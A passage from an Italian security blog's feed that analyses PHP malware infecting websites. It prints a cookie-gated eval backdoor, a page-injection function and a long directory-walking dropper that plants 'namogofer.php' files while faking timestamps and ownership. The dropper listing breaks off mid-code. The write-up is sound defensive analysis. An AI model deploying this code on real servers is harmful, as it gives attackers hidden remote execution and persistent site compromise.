<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'73043475c0893e30'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;59fdd20854f4a2056c082cab53e64860&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #990000;">exit</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>(la riga 3 non è presente in tutte le versioni)</p>
<p>e queste rige dalla fine:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">                <span style="color: #339933;">&lt;</span> ?php
                <span style="color: #000000; font-weight: bold;">function</span> security_update<span style="color: #009900;">&#40;</span><span style="color: #000088;">$buffer</span><span style="color: #009900;">&#41;</span>
                <span style="color: #009900;">&#123;</span>
                        <span style="color: #000088;">$update</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'18446744073709551615'</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">stristr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$buffer</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;/html'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span>
                        <span style="color: #009900;">&#123;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #990000;">eregi_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;/html'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$update</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;html'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$buffer</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                        <span style="color: #b1b100;">else</span>
                        <span style="color: #009900;">&#123;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #000088;">$buffer</span><span style="color: #339933;">.</span><span style="color: #000088;">$update</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<h1>Possibilità di infezione</h1>
<p>Non ho determinato, per ora, se l'infezione avviene tramite una vulnerabilità del proprio applicativo web o se invece avviene via Ftp sfruttando le credenziali del proprio Client Ftp.</p>
<p>In ambo i casi i consigli sono sempre gli stessi e fanno sempre bene:</p>
<p>1) Verificare presso siti di sicurezza come <a href="http://secunia.com/" target="_blank"><strong>Secunia</strong></a> o <a href="http://www.securityfocus.com/" target="_blank"><strong>SecurityFocus</strong></a> o <a href="http://www.milw0rm.com/" target="_blank"><strong>Milw0rm</strong> </a>eventuali nuove vulnerabilità dei propri applicativi/script/cms.</p>
<p>2) Eseguire periodicamente <strong>scansioni complete dei propri PC con software AntiMalware,AntiSpyware, etc</strong>. In particolare consiglio l'utilizzo di <a href="http://www.malwarebytes.org/mbam.php" target="_blank"><strong>Malwarebytes' Anti-Malware</strong></a> che  include tutte queste protezioni in un unica soluzione</p>
<p>Chiunque abbia informazioni al riguardo e volesse condividerle mi scriva all'indirizzo <a href="mailto:capn3m0@capn3m0.org"><strong>capn3m0@capn3m0.org</strong></a></p>
<p><br class="spacer_" /></p>
<p><strong>AGGIORNAMENTO DELL'8/11/2009:</strong> <a href="http://www.capn3m0.org/hack-cannot-redeclare-security_update.html" target="_self">[HACK] – Cannot redeclare security_update(), alla fine è arrivato!</a></p>
<p><br class="spacer_" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/18446744073709551615-un-nuovo-hack-in-arrivo.html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>.htaccess hacking &#8211; Redirect per chi arriva dai Motori di Ricerca &#8211; PARTE 2</title>
		<link>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html</link>
		<comments>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html#comments</comments>
		<pubDate>Sun, 08 Feb 2009 17:41:03 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacking htaccess]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[http referer]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[powergrep]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=119</guid>
		<description><![CDATA[Ad Ottobre scorso avevo parlato di un Hacking che avviene inserendo un File &#8220;.htaccess&#8221; nel sito vittima che successivamente rediretta i visitatori provenienti dai più comuni Motori di Ricerca verso una pagina malevola. Per chi volesse leggerlo ecco il link: http://www.capn3m0.org/2008/10/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca/ In questo articolo vi informo che ho individuato la prima chiamata che viene fatta [...]]]></description>
			<content:encoded><![CDATA[<p>Ad Ottobre scorso avevo parlato di un Hacking che avviene inserendo un File &#8220;.htaccess&#8221; nel sito vittima che successivamente rediretta i visitatori provenienti dai più comuni Motori di Ricerca verso una pagina malevola.</p>
<p>Per chi volesse leggerlo ecco il link: <a href="http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html"><strong>http://www.capn3m0.org/2008/10/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca/</strong></a></p>
<p>In questo articolo vi informo che ho individuato la prima chiamata che viene fatta al sito vittima tramite una vulnerabilità di <a href="http://it.wikipedia.org/wiki/Remote_File_Inclusion" target="_blank"><strong>Remote File Inclusione (RFI).</strong></a></p>
<p><span id="more-119"></span></p>
<p>Chi attacca fa interpretare al sito questo codice Php che una volta elaborato dalla vittima crea dei file chiamati &#8220;<strong>nomegofer.php</strong>&#8221; in varie aree del sito cosicché chi esegue tale azione può richiamarli quando vuole per fare in modo che il sito venga nuovamente infettato. Questo il codice:</p>
<div id="foo">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> ?php
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$START</span> <span style="color: #339933;">=</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$WD_TIMEOUT</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">8</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">7</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> my_fwrite<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$CURFILE</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$file_mtime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$file_atime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$dir_mtime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$dir_atime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;wb&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #339933;">@</span><span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_mtime</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$file_mtime</span><span style="color: #339933;">,</span><span style="color: #000088;">$file_atime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chmod</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">fileperms</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chgrp</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">filegroup</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chown</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">fileowner</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir_mtime</span><span style="color: #009900;">&#41;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir_mtime</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir_atime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$f</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <span style="color: #990000;">strrpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> walkdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$func</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'_walkdir'</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$START</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$WD_TIMEOUT</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FL</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_f</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_f&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_d</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_d&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_s</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_s&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_e</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_e&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_s</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_s</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$START</span> <span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;=</span> <span style="color: #000088;">$WD_TIMEOUT</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span>
                <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'.'</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$f</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'..'</span> <span style="color: #009900;">&#41;</span>
                <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_dir</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
                walkdir<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$func</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_dir</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_d</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                <span style="color: #000088;">$func_d</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_file</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                <span style="color: #000088;">$func_f</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>&quot;</span> <span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_e</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            <span style="color: #000088;">$func_e</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> r_cut<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$R</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$R</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> say<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$t</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> testdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    say<span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;testdata_<span style="color: #006699; font-weight: bold;">$t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$R</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'DOCUMENT_ROOT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$CURFILE</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'DOCUMENT_ROOT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SCRIPT_NAME'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'start'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$fe</span> <span style="color: #339933;">=</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$fe</span><span style="color: #009900;">&#41;</span>
    <span style="color: #000088;">$fe</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'php'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$FN</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;namogofer.<span style="color: #006699; font-weight: bold;">$fe</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_s<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$FCNT</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'fn'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'dir'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'file'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'simtype'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_d<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span> <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'dir'</span> <span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_f<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'simtype'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_e<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$C</span><span style="color: #339933;">,</span><span style="color: #000088;">$FCNT</span><span style="color: #339933;">,</span><span style="color: #000088;">$FN</span><span style="color: #339933;">;</span>
